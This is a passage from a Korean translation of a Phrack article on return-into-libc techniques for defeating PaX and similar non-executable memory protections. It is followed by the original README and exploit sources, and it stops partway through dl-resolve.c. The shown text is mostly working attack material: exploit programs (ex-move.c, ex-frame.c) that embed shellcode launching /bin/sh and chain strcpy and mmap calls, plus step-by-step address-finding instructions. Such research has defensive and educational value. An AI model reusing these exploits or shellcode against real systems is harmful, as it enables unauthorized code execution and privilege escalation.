한다. ( README.code 의 주석을 잘 보라.) --[ 6 - PaX 무력화 시키기 ----[ 6.1 - 필요사항 5장에서 얘기한 dl 로 리턴하는 기술을 사용하려면 알맞은 위치에 몇가지 구조체들을 위치시키는게 필요하다. 선택한 위치로 바이트 값을 이동시킬수 있는 함수가 필요하다. 확실한 선택은 strcpy, strncpy, sprintf 또는 이와 비슷한 일을 하는 함수들이다. 그래서 [3] 처럼 공격할 프로그램의 이미지안에서 strcpy의 PLT 엔트리가 필요하다. dl 로 리턴하는 기술은 라이브러리를 난수 주소에 맵핑하는 문제를 해결할 수 있다. 그러나 스택에 관한 문제가 남아있다, 만약 오버플로우 부분이 스택에 있다면, 그 주소는 알 수가 없다. 그리고 ( 3.3을 보라.) strcpy 를 가지고 0을 넣을 수는 없다. 불행하게도 일반적인 해결책을 찾을 수 없었다. 가능한 방법이 있지만 1) 만약 scanf 함수가 PLT 에서 사용할 수 있다면 다음과 같은 걸 실행시킬 수 있다. scanf("%s\n",fixed_location) 정해진 위치에 알맞은 내용을 stdin에서 입력 받아 복사하는 부분이다. 프레임 속이기 기술을 사용할때, 따로 떨어져 있을 수 있다. 그래서 프레임으로 고정된 위치를 사용한다. 2) 만약 공격할 바이너리가 -fomit-frame-pointer 를 사용해 컴파일 했다면, %esp 를 모르더라도 esp lifting 기술을 이용해서 여러개의 strcpy 함수를 사용할 수 있다. ( 3.2 의 끝부분을 참고하라. ) n번째 strcpy 는 다음과 같은 인자를 가지고 있을 것이다. strcpy(fixed_location+n, a_pointer_within_program_image) 이 방법으로 byte 차례로 고정된 위치에 알맞은 프레임들을 구성할 수 있다. 이것이 끝났을때, 3.3 의 끝부분의 esp lifting 에서 프레임 속이기로 옮겨 갈 수 있다. 이와 비슷한 방법을 만들 수 있지만 사실 별로 필요친 않다. 아주 작은 프로그램도 약간의 사용자가 제어할 수 있는 자료를정적이거나 malloc변수로 할당된 복사할 수 있기 때문이다. 따라서 위의 방법대로 할 필요는 없다. 정리하자면, 두가지 조건들이 필요하다. 6.1.1) PLT 를 이용해 strcpy나 ( strncpy 또는 sprintf) 가 사용가능해야 한다. 6.1.2) 일반적인 실행을 하는 동안, 공격할 바이너리는 정적( 이쪽이 좀 많이 사용된다) 변수나 mallco 으로 할당된 변수에 데이타를 복사한다. ----[ 6.2 - exploit 만들기 dl-resolve.c 안의 예제 코드를 이용해 예제 exploit 을 만들어 본다. mmap( ret-into-dl 을 사용해서 mmap 을 호출 할 수 있으면) 으로 rwx( read, write, execute) 할 수 있는 메모리가 준비되면 shellcode 를 복사하고 복사한 shellcode 로 리턴한다. 공격할 바이너리가 -fomit-frame-pointer 옵션 없이 컴파일 된 경우와 프레임 속이기 방법을 이야기 해 본다. 알맞게 위치되고 관련있는 3개의 구조들이 필요하다. 1) Elf32_Rel reloc 2) Elf32_Sym sym 3) unsigned short verind (which should be 0) verind 의 주소와 sym 이 어떻게 관려이 있을가? ELF32_R_SYM 의 값을 "real_index"에 할당해 주자. sym is at SYMTAB+real_index*sizeof(Elf32_Sym) verind is at VERSYM+real_index*sizeof(short) .data 혹은 .bss 섹션에 verind 가 위치하는게 당연한듯 보인다. 그리고 두개의 strcpy 함수를 무력화 시킨다. 이 경우 real_index 값을 좀 더 커진다. Elf32_sym 의 사이즈가 16 인데 short 의 사이즈 보다 커야 하므로 프로세스의 데이터 영역 밖의 주소를 sym 값에 할당해야 한다. 조그만 dl-resolve.c 에서 몇 만개의 byte (RQSIZE)값을 할당한 이유이다. MALLOC_TOP_PAD 환경 변수를 세팅해서 프로세스의 데이터 영역을 알맞게 키울 수 있다. ( traceroute exploit 에서도 사용 되었죠.) 그러나 이 건 local 익스플로잇에만 사용된다. 대신이 좀 더 일반적인 방법을 선택할 것이다. verind 값을 더 낮은 곳에 위치 시킨다. 때때로 read-only 로 설정된 위치에 그래서 null 값을 찾을 필요가 있다. verind 위치를 이용해서 결정된 주소에 sym 구조를 재 위치 시킨다. 어떻게 어디서 null 값을 찾을까? 공격할 프로그램이 다운 되기 전에 /proc/pid/maps 를 이용해서 쓸 수 있게 설정된 메모리 영역의 경계를 결정한다. ( 실행영역의 데이터 영역) 오버플로우가 일어날때. 그래서 낮은 값과 높은 값 안에 주소를 위치시킨다. sym 구조를 그곳에 복사한다. 간단한 하게 계산하면 real_index 는 [(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16] 그래서 [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8] 적당한 verind 를 찾고 덧붙여 다음 것을 검사한다. 1) sym 주소는 우리의 속인 프레임과 주소가 같은 부분이 없어야 한다. 2) sym 주소는 strcpy 의 GOT entry 값은 내부 liner 정보를 덮어 쓰지 않아야 한다. 3) 스택 포인터가 정적 데이터 영역으로 넘어가는 점을 기억하자. 동적 링커 프로시져로 스택 프레임에 대한 충분한 공간이 있다. 프레임 속이기를 한다음 sym을 위치 시키는 게 좋다. 조언: gdb를 사용해서 알맞은 null 값을 찾는 것도 좋다. objdump -s 옵션을 사용하기 보다는 objdump 의 경우는 .rodata 섹션 이후의 메모리를 보여주지 않는다. pax.c 에 대응하는 ex-pax.c 를 첨부했다. vuln.c 와 pax.c의 차이는 pax.c 가 정적인 버퍼에 환경변수를 복사한다는 점이다. --[ 7 - 기타 ----[ 7.1 - 이식성 리눅스 기반에서 Pax 가 작동하므로, 이 문서는 리눅스를 중심으로 썼다. 그러나 앞에서 설명한 기술들은 OS 자체에 독립적이다. 스택 과 프레임 포인터 , C 호출 방법들, ELF 명세 - 이 모든 정의들이 널리 쓰이고 있다. 특별히 예를 들어보면 dl-resolve.c 는 solaris x86 버전과 FreeBSD에서 성공적으로 동작했다. 자세하게 얘기한다면, mmap 의 4번째 인자값을 조정할 필요가 있었다. BSD 시스템에서 MAP_ANON 값이 다른 것처럼 이 경우 이 두개의 운영체제의 경우 동적 링커는 symbol 버전에 대해 영향을 받지 않아서 ret-into-dl 은 더 쉽다. ----[ 7.2 - 다른 종류의 취약점들 앞의 모든 기술은 스택기반 버퍼 오버플로우이다. 모든, 어느 곳으로 복귀하는 익스플로잇은 single overflow 는 %eip 즉 RET 만을 변화시키는 것 뿐만 아니라 스택의 윗의 RET 다음부분에 있는 RET 인자 값들들을 변화시켜야 한다. 두개의 커다란 취약점에 대해 얘기해 보자. malloc 이 제어하는 구조의 변경 이나 포맷스트링 공격, 앞의 공격은 임의의 값으로 임의의 int 값을 덮어써야 되기 때문에 PaX의 방어체제를 우회하기가 힘들다. 다음 포맷스트링의 경우 임의의 바이트들을 바꿀 수 있기 때문에 만약 %ebp, %eip 부분을 덮어 쓸 수 있다면 충분하다. 그러나 기준 stack 포인터가 난수화되므로 어떤 프레임의 주소인지 결정 하기 힘들다. *** ( 주제에서 좀 벗어나긴 하지만: saved FP 는 %hn 의 인자값으로 사용될 수 있다. 그러나 성공적인 공격은 3개의 함수를 조작하는게 필요하며 사용자가 조작한 64KB 버퍼를 알맞은 위치에 두는 것도 필요하다.) *** 단지 %eip 를 조정하기만을 원한다면 GOT 엔트리 부분만 변화시키면 된다는 건 PaX 시스템을 공격하기엔 많이 부족하다. 그러나 위의 시나리오가 가능한 경우도 있다. 3가지 조건을 생각해 보자. 1) 공격할 프로그램이 -fomit-frame-pointer로 컴파일 되었을때 2) 우리가 내용을 조작할 수 있는 stack buffer 를 할당하는 함수가 있을때 3) 포맷 스트링 버그나 잘못된 free 버그가 있는 f2 함수가 있고 간접적으로 f1에서 f2를 부를때 취약 코드를 간단하게 적으면 void f2(char * buf) { printf(buf); // format bug here some_libc_function(); } void f1(char * user_controlled) { char buf[1024]; buf[0] = 0; strncat(buf, user_controlled, sizeof(buf)-1); f2(buf); } f1이 호출 되면, format string 공격으로 아래와 같은 코드를 가진 주소의 libc 함수의 GOT 엔트리를 수정할 수 있다. addl $imm, %esp ret 말하자면 함수의 끝에서 나온다. 이 경우 몇개의 libc 함수가 호출될때 addl $imm, %esp 명령이 %esp 를 변화시킨다. $imm 을 알맞은 값으로 정했다면 %esp 는 사용자가 조작가능한 buf 변수를 가리킬 수 있다. 이 때 스택 버퍼 오버플로우랑 상태가 비슷하다. ret-into-dl 을 이용해서 함수들을 차례로 실행시킬 수 있다. 다른 경우 한 바이트로 오버플로우 된다면 그 오버플로우는 saved frame pointer 를 중요 바이트를 무효화시킨다. 두번째 함수가 복귀한 후에, 공격자는 스택에대한 완전한 권한을 얻을 수 있다. 앞 서 설명한 기술을 사용해서 ----[ 7.3 - 다른 non-exec 해결책 2가지 다른 해결책을 생각해 봤다. 모든 data가 존재하는 부분을 non-exec 한다면 그 예로 RSX [10]을 참고하자. 그러나 이 해결책은 스택과 라이브러리 난수화를 구현하지 못했다. 그래서 여러 함수 차례로 호출하는 방법만 사용하면 된다. 임의의 코드를 실행한다면 좀 더 노력을 해야 한다. RSX 에서는 쓰기 가능한 메모리 영역에 실행을 못하게 하는 방법 중에 하나에는 그래서 mmap 이 작동하지 않는 그러나 어떤 non-exec 방법의 경우도 공유 라이브러리의 코드를 실행하는 걸 허용해야한다. RSX 경우 쉘코드를 포함하는 파일을 mmap 하는 걸로 충분하다. remote 공격의 경우도 차례로 작동되는 함수로 먼저 파일을 만들 수 있다. (?) 두번째 해결책은 kNoX[11] RSX와 비슷한 것에 대한 대책이다 이 건 모든 라이브러리를 0x00110000 에서 시작하게 해 놓았다. 솔라 디자이너의 패치 처럼 3.4 의 끝부분에서 얘기한 것처럼 이렇게 막는 것도 별 쓸모가 없다. ----[ 7.4 - non-exec 방법 발전시키기 불행인지 다행인지, 위의 기술을 막는 방법을 찾지를 못했다. 분명하게 ELF 표준 기술 문서는 공격자에서 유리한 너무 많은 부분을 설정했다. 확실히 앞의 기술 중에 몇개는 작동이 잘 안 될 것이다. 예를 들면 PROT_EXEC 가 있을때 MAP_FIXED flag 를 못하도록 패치를 할 수 있다. 그렇지만 이 것도 공유 라이브러리에서 작동하는 건 막지 못한다. 존재한는 익스플로잇을 막을 수 있지만 그러나 이 픽스는 여러개의 함수를 사용하는데 사용할 수 있다. 다른 관점으로, PaX 를 사용한다는 건 성공적인 공격을 더 어렵게 만들 거나 아예 불가능하게 할 수 있다. PaX 안정화가 좀 더 되면, 사용하는게 이로울 것이고 하나의 보안 계층이 될 것이다. ----[ 7.5 - 사용 버전 아래 버전에서 검사해 보았다. pax-linux-2.4.16.patch kNoX-2.2.20-pre6.tar.gz rsx.tar.gz for kernel 2.4.5 2.4 에서 코드를 테스트해도 되지만 몇 개의 최적화 때문에 2.2 에서는 작동이 안 될 것이다. --[ 8 - Referenced publications and projects [1] Aleph One the article in phrack 49 that everybody quotes [2] Solar Designer "Getting around non-executable stack (and fix)" http://www.securityfocus.com/archive/1/7480 [3] Rafal Wojtczuk "Defeating Solar Designer non-executable stack patch" http://www.securityfocus.com/archive/1/8470 [4] John McDonald "Defeating Solaris/SPARC Non-Executable Stack Protection" http://www.securityfocus.com/archive/1/12734 [5] Tim Newsham "non-exec stack" http://www.securityfocus.com/archive/1/58864 [6] Gerardo Richarte, "Re: Future of buffer overflows ?" http://www.securityfocus.com/archive/1/142683 [7] PaX team PaX http://pageexec.virtualave.net [8] segvguard ftp://ftp.pl.openwall.com/misc/segvguard/ [9] ELF specification http://fileformat.virtualave.net/programm/elf11g.zip [10] Paul Starzetz Runtime addressSpace Extender http://www.ihaquer.com/software/rsx/ [11] Wojciech Purczynski kNoX http://cliph.linux.pl/knox [12] grugq "Cheating the ELF" http://hcunix.7350.org/grugq/doc/subversiveld.pdf <++> phrack-nergal/README.code !35fb8b53 The advanced return-into-lib(c) exploits: PaX case study Comments on the sample exploit code by Nergal First, you have to prepare the sample vulnerable programs: $ gcc -o vuln.omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c $ gcc -o pax pax.c You may strip the binaries if you wish. I. ex-move.c ~~~~~~~~~~~~ At the top of ex-move.c, there are definitions for LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them. MMAP_START can be left untouched. 1) LIBC [nergal@behemoth pax]$ ldd ./vuln.omit libc.so.6 => /lib/libc.so.6 (0x4001e000) <- this is our address /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) 2) STRCPY [nergal@behemoth pax]$ objdump -T vuln.omit vuln.omit: file format elf32-i386 DYNAMIC SYMBOL TABLE: 08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info 08048358 DF *UND* 0000010c GLIBC_2.0 getenv 08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info 08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main 08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize 08048530 g DO .rodata 00000004 Base _IO_stdin_used 00000000 w D *UND* 00000000 __gmon_start__ 08048398 DF *UND* 00000030 GLIBC_2.0 strcpy ^ |---- this is the address we seek 3) MMAP [nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap 000daf10 w DF .text 0000003a GLIBC_2.0 mmap 000db050 w DF .text 000000a0 GLIBC_2.1 mmap64 The address we need is 000daf10, then. 4) POPSTACK We have to find "add $imm,%esp" followed by "ret". We must disassemble vuln.omit with the command "objdump --disassemble ./vuln.omit". To simplify, we can use [nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret ...some crap -- 80484be: 83 c4 2c add $0x2c,%esp 80484c1: c3 ret -- 80484fe: 5d pop %ebp 80484ff: c3 ret -- ...more crap We have found the esp moving instructions at 0x80484be. 5) POPNUM This is the amount of bytes which are added to %esp in POPSTACK. In the previous example, it was 0x2c. 6) PLAIN_RET The address of a "ret" instruction. As we can see in the disassembler output, there is one at 0x80484c1. 7) FRAMES Now, the tough part. We have to find the %esp value just after the overflow (our overflow payload will be there). So, we will make vuln.omit dump core (alternatively, we could trace it with a debugger). Having adjusted all previous #defines, we run ex-move with a "testing" argument, which will put 0x5060708 into saved %eip. [nergal@behemoth pax]$ ./ex-move testing Segmentation fault (core dumped) <- all OK [nergal@behemoth pax]$ gdb ./vuln.omit core (no debugging symbols found)... Core was generated by ./vuln.omit'. Program terminated with signal 11, Segmentation fault. #0 0x5060708 in ?? () If in the %eip there is other value than 0x5060708, this means that we have to align our overflow payload. If necessary, "scratch" array in "struct ov" should be re-sized. (gdb) info regi ... esp 0xbffffde0 0xbffffde0 ... The last value we need is 0xbffffde0. II. ex-frame.c ~~~~~~~~~~~~~~ Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC, STRCPY, MMAP and FRAMES should be determined in exactly the same way like in case of ex-move.c. LEAVERET should be the address of a "leave; ret" sequence; we can find it with [nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1 objdump: vuln: no symbols 8048335: c9 leave 8048336: c3 ret -- 80484bd: c9 leave 80484be: c3 ret -- 8048518: c9 leave 8048519: c3 ret So, we may use 0x80484bd for our purposes. III. dl-resolve.c ~~~~~~~~~~~~~~~~~ We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION defines. As they refer to dl-resolve binary itself, we have to compile it twice with the same compiler options. For the first compilation, we can #define dummy values. Then, we run [nergal@behemoth pax]$ objdump -x dl-resolve In the output, we see: [...crap...] Dynamic Section: NEEDED libc.so.6 INIT 0x804839c FINI 0x80486ec HASH 0x8048128 STRTAB 0x8048240 (!!!) SYMTAB 0x8048170 (!!!) STRSZ 0xa1 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x80497a8 PLTRELSZ 0x48 PLTREL 0x11 JMPREL 0x8048354 (!!!) REL 0x8048344 RELSZ 0x10 RELENT 0x8 VERNEED 0x8048314 VERNEEDNUM 0x1 VERSYM 0x80482f8 (!!!) The PLT_SECTION can also be retrieved from "objdump -x" output [...crap...] Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 080480f4 080480f4 000000f4 2**0 ... 11 .plt 000000a0 080483cc 080483cc 000003cc 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE So, we should use 0x080483cc for our purposes. Having adjusted the defines, you should compile dl-resolve.c again. Then run it under strace. At the end, there should be something like: old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000 _exit(123) = ? As we see, mmap() is called, though it was not present in dl-resolve.c's PLT. Of course, I could have added the shellcode execution, but this would unnecessarily complicate this proof-of-concept code. IV. icebreaker.c ~~~~~~~~~~~~~~~~ Nine #defines have to be adjusted. Most of them have already been explained. Two remain: FRAMESINDATA and VIND. 1) FRAMESINDATA This is the location of a static (or malloced) variable where the fake frames are copied to. In case of pax.c, we need to find the address of "bigbuf" array. If the attacked binary was not stripped, it would be easy. Otherwise, we have to analyse the disassembler output. The "bigbuf" variable is present in the arguments to "strncat" function in pax.x, line 13: strncat(bigbuf, ptr, sizeof(bigbuf)-1); So we may do: [nergal@behemoth pax]$ objdump -T pax | grep strncat 0804836c DF *UND* 0000009e GLIBC_2.0 strncat [nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _not_ 0804836c objdump: pax: no symbols 8048362: ff 25 c8 95 04 08 jmp *0x80495c8 8048368: 00 00 add %al,(%eax) 804836a: 00 00 add %al,(%eax) 804836c: ff 25 cc 95 04 08 jmp *0x80495cc -- 80484e5: 68 ff 03 00 00 push $0x3ff <- 1023 80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <- ptr 80484ed: 68 c0 9a 04 08 push $0x8049ac0 <- bigbuf 80484f2: e8 75 fe ff ff call 0x804836c So, the address of bigbuf is 0x8049ac0. 2) VIND As mentioned in the phrack article, we have to determine [lowaddr, hiaddr] bounds, then search for a null short int in the interval [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]. [nergal@behemoth pax]$ gdb ./icebreaker (gdb) set args testing (gdb) r Starting program: /home/nergal/pax/./icebreaker testing Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x4ffb7d30 in ?? () <- icebreaker executed pax (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x5060708 in ?? () <- pax has segfaulted (gdb) shell [nergal@behemoth pax]$ ps ax | grep pax 1419 pts/0 T 0:00 pax [nergal@behemoth pax]$ cat /proc/1419/maps 08048000-08049000 r-xp 00000000 03:45 100958 /home/nergal/pax/pax 08049000-0804a000 rw-p 00000000 03:45 100958 /home/nergal/pax/pax ^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr 4ffb6000-4ffcc000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4ffcc000-4ffcd000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4ffcd000-4ffce000 rw-p 00000000 00:00 0 4ffd4000-500ef000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 500ef000-500f5000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 500f5000-500f9000 rw-p 00000000 00:00 0 bfff6000-bfff8000 rw-p fffff000 00:00 0 [nergal@behemoth pax]$ exit exit (gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8 0x804847b (gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8 0x804867b /* so, we search for a null short in [0x804847b, 0x804867b] (gdb) printf "0x%x\n", 0x804867b-0x804847b 0x200 (gdb) x/256hx 0x804847b ... a lot of beautiful 0000 in there... Now read the section 6.2 in the phrack article, or just try a few of the addresses found. <--> <++> phrack-nergal/vuln.c !a951b08a #include #include int main(int argc, char ** argv) { char buf[16]; char * ptr = getenv("LNG"); if (ptr) strcpy(buf,ptr); } <--> <++> phrack-nergal/ex-move.c !81bb65d0 /* by Nergal */ #include #include #include #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define POPSTACK 0x80484be #define PLAIN_RET 0x80484c1 #define POPNUM 0x2c #define FRAMES 0xbffffde0 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* This is a stack frame of a function which takes two arguments */ struct two_arg { unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; /* The beginning of our overflow payload. Consumes the buffer space and overwrites %eip */ struct ov { char scratch[28]; unsigned int eip; }; /* The second part ot the payload. Four functions will be called: strcpy, strcpy, mmap, strcpy */ struct ourbuf { struct two_arg zero1; char pad1[8 + POPNUM - sizeof(struct two_arg)]; struct two_arg zero2; char pad2[8 + POPNUM - sizeof(struct two_arg)]; struct mmap_args mymmap; char pad3[8 + POPNUM - sizeof(struct mmap_args)]; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) //#define PTR_TO_NULL 0x80484a7 main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.eip = 0x05060708; } else { /* To make the code easier to read, we initially return into "ret". This will return into the address at the beginning of our "zero1" struct. */ theov.eip = PLAIN_RET; } memset(&thebuf, 'Y', sizeof(thebuf)); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = POPSTACK; /* The following assignment puts into "param1" the address of the least significant byte of the "offset" field of "mmap_args" structure. This byte will be nullified by the strcpy call. */ thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = POPSTACK; /* Also the "start" field must be the multiple of page. We have to nullify its least significant byte with a strcpy call. */ thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = POPSTACK; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; /* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such case, we would need more zeroing. */ thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* Same as above. Be careful not to include MAP_GROWS_DOWN */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; /* The final "strcpy" call will copy the shellcode into the freshly mmapped area at MMAP_START. Then, it will return not anymore into POPSTACK, but at MMAP_START+1. */ thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln.omit", "./vuln.omit", 0, env, 0); } <--> <++> phrack-nergal/pax.c !af6a33c4 #include #include char spare[1024]; char bigbuf[1024]; int main(int argc, char ** argv) { char buf[16]; char * ptr=getenv("STR"); if (ptr) { bigbuf[0]=0; strncat(bigbuf, ptr, sizeof(bigbuf)-1); } ptr=getenv("LNG"); if (ptr) strcpy(buf, ptr); } <--> <++> phrack-nergal/ex-frame.c !a3f70c5e /* by Nergal */ #include #include #include #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define LEAVERET 0x80484bd #define FRAMES 0xbffffe30 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* See the comments in ex-move.c */ struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; struct ourbuf { struct two_arg zero1; struct two_arg zero2; struct mmap_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMES; theov.eip = LEAVERET; } thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = LEAVERET; thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap); thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = LEAVERET; thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans); thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* again, careful not to include MAP_GROWS_DOWN below */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln", "./vuln", 0, env, 0); } <--> <++> phrack-nergal/dl-resolve.c !d5fc32b7 /* by Nergal */ #include #include #include #include #define STRTAB 0x8048240 #define SYMTAB 0x8048170 #define JMPREL 0x8048354 #define VERSYM 0x80482f8 #define PLT_SECTION "0x080483cc" void graceful_exit() { exit(123); } void doit(int offset) { int res; __asm__ volatile (" pushl $0x01011000 pushl $0xffffffff pushl $0x00000032 pushl $0x00000007 pushl $0x01011000 pushl $0xaa011000 pushl %%ebx pushl %%eax pushl $" PLT_SECTION " ret" :"=a"(res) :"0"(offset), "b"(graceful_exit) ); } /* this must be global */ Elf32_Rel reloc; #define ANYTHING 0xfe #define RQSIZE 60000 int main(int argc, char **argv) { unsigned int reloc_offset; unsigned int real_index; char symbol_name[16]; int dummy_writable_int; char *tmp = malloc(RQSIZE); Elf32_Sym *sym; unsigned short *null_short = (unsigned short*) tmp; /* create a null index into VERSYM */ *null_short = 0; real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short); sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB); if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) { fprintf(stderr, "mmap symbol entry is too far, increase RQSIZE\n"); exit(1); } strcpy(symbol_name, "mmap"); sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB; sym->st_value = (unsigned int) &dummy_writable_int; sym->st_size = ANYTHING; sym->st_info = ANYTHING; sym->st_other = ANYTHING & ~3; sym->st_shndx = ANYTHING; 